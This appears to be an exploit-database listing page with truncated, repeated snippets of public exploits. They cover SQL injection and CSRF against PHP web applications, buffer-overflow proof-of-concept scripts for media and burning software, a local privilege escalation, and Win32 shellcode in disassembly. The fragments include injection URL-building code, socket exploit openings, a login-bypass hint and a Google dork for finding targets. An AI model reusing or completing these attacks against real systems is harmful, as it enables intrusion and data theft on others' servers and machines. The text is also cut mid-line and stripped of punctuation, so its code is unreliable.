Inout Article Base Ultimate <= v.2.0 SQL Injection / CSRF

Inout Article Base Ultimate versions prior to 2 suffer from cross site request forgery and remote blind SQL injection vulnerabilities. ============================================================================== Vulnerable Software: Inout Article Base Ultimate Version: getSubcategoryList$cid;...

Gom Player 2.1.44.5123 - 'UNICODE' Null Pointer Dereference

Exploit Title: gom player 2.1.44.5123 Unicode NULL pointer dereference = vulnerability Date: 2012.10.09 Exploit Author: wh1ant Software Link: http://app.gomtv.com/gom/GOMPLAYERSETUP.EXE Version: 2.1.44.5123 Unicode Tested on: windows 7 Ultimate k Language : python f = open"hack.avi", "wb" data =...

Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability

========================================================================== Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability ==========================================================================...

Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability

Exploit for windows platform in category local exploits ========================================================================== Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability ==========================================================================...

Smartfren Connex EC 1261-2 UI OUC - Local Privilege Escalation

Smartfren Connex EC 1261-2 UI OUC - Local Privilege Escalation ========================================================================== Smartfren Connex EC 1261-2 UI OUC Local Privilege Escalation Vulnerability ==========================================================================...

Portable Multi-boot Security Suite: Katana

Katana is a portable multi-boot security suite which brings together many of today’s best security distributions and portable applications to run off a single Flash Drive. It includes distributions which focus on Pen-Testing, Auditing, Forensics, System Recovery, Network Analysis, and Malware...

Arb Blog 0.1 CSRF Vulnerability

Exploit for php platform in category web applications Exploit Title: Arb Blog 0.1 CSRF Vulnerability Author: Mr.731MY Vendor or Software Link: http://www.dev-arb.com/uploads/Files/dev-arb.com1341094517.ZIP Version: 0.1 Category:: WebApp Google dork: intext:All Right Resrved For Dev-Arb.com And...

Express Burn Plus 4.58 - EBP Project File Handling Buffer Overflow (PoC)

!/usr/bin/perl Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC Vendor: NCH Software Product web page: http://www.nchsoftware.com Affected version: 4.58 Summary: Express Burn is a program that allows you to create and copy many kinds of disc media, including Audio audio CDs /...

WM Downloader (aslr bypass) stack buffer overflow

Exploit for windows platform in category local exploits / ?? %% %% $$$$$ :: ;;;;;;;; ?? ? %% %% $$ $$ || :: ;; ;; ????? %%%% $$$$$ || ::::: ;;;;;;; ?? ?? %% $$$$ || || :: ;; %%%%%%%% $$ $$ |||| ::::: ;;;;;;;; Ayrbyte Gamerz From b-compi | pasukan berkompi Exploit Title: WM Downloader aslr bypass...

ALLMediaServer 0.8 - Remote Overflow (SEH)

Exploit Title: seh exploit, BOF Date: 04/07/2012 Exploit Author: motaz reda my E-mail: [email protected] Software Link: http://allmediaserver.org/ Version: ALLMediaServer 0.8 Tested On: Windows 7 ultimate !/usr/bin/python import sys, socket s = socket.socketsocket.AFINET, socket.SOCKSTREAM...

win32/7 Ultimate MessageBox ShellCode

/ title : win32/7 Ultimate MessageBox ShellCode Author: Ayrbyte Link : - Version: - Category: local Tested on: Windows 7 Ultimate Code : c++ Site : 1337day.com Inj3ct0r Exploit Database ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX ; ECX = 0 MOV ESI,FS:ECX + 30h ; ESI = &PEB FS:0x30 MOV ESI,ESI + 0Ch...

php MBB cms v0.0.3 Multiple Vulnerability

Exploit for php platform in category web applications 1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1...

Monstra CMS 1.1.6 Cross Site Request Forgery

1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 0 0 x Official Website: http://www.1337day.com 1 1 x...

win32/Seven Ultimate calc.exe ShellCode

/ title : win32/Seven Ultimate calc.exe ShellCode Author: Ayrbyte Link : - Version: - Category: local Tested on: Windows 7 Ultimate Code : c++ diasembly code 00401B62 DBD7 FCMOVNBE ST,ST7 00401B64 D97424 F4 FSTENV 28-BYTE PTR SS:ESP-C 00401B68 B8 79C464B7 MOV EAX,B764C479 00401B6D 33C9 XOR ECX,EC...

PHPNet 1.8 SQL Injection

SQL Injection This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php. ler.php?id=SQLi imprimir.php?id=SQLi imagem.php?id=SQLi Usage: php file.php http://server/path/ Login bypass In login page, you can bypass the login using "SQLi strings". G...

win32/Seven Ultimate mspaint.exe ShellCode

/ title : win32/7 Ultimate mspaint.exe ShellCode Author: Ayrbyte Link : - Version: - Category: local Tested on: Windows 7 Ultimate Code : c++ diasembly code 00403000 BB 449BB40E MOV EBX,0EB49B44 00403005 33C9 XOR ECX,ECX 00403007 DBC4 FCMOVNB ST,ST4 00403009 B1 32 MOV CL,32 0040300B D97424 F4...

SN News 1.2 SQL Injection

\n"; echo "Example:\n"; echo "php $argv0 http://www.website.com/snnews\n"; exit; $target = $argv1; ifsubstr$target, strlen$target-1!="/" $target .= "/"; $inject = $target . "visualiza.php?id=-0'%20"; $token = uniqid; $tokenhex = hex$token; echo " Trying to get informations...\n"; $infos =...

SN News (visualiza.php) <= 1.2 SQL Injection Vulnerability

Exploit for php platform in category web applications \n"; echo "Example:\n"; echo "php $argv0 http://www.website.com/snnews\n"; exit; $target = $argv1; ifsubstr$target, strlen$target-1!="/" $target .= "/"; $inject = $target . "visualiza.php?id=-0'%20"; $token = uniqid; $tokenhex = hex$token; ech...

SN News 1.2 - 'visualiza.php' SQL Injection

\n"; echo "Example:\n"; echo "php $argv0 http://www.website.com/snnews\n"; exit; $target = $argv1; ifsubstr$target, strlen$target-1!="/" $target .= "/"; $inject = $target . "visualiza.php?id=-0'%20"; $token = uniqid; $tokenhex = hex$token; echo " Trying to get informations...\n"; $infos =...

SN News 1.2 - visualiza.php SQL Injection

SN News 1.2 - visualiza.php SQL Injection \n"; echo "Example:\n"; echo "php $argv0 http://www.website.com/snnews\n"; exit; $target = $argv1; ifsubstr$target, strlen$target-1!="/" $target .= "/"; $inject = $target . "visualiza.php?id=-0'%20"; $token = uniqid; $tokenhex = hex$token; echo " Trying t...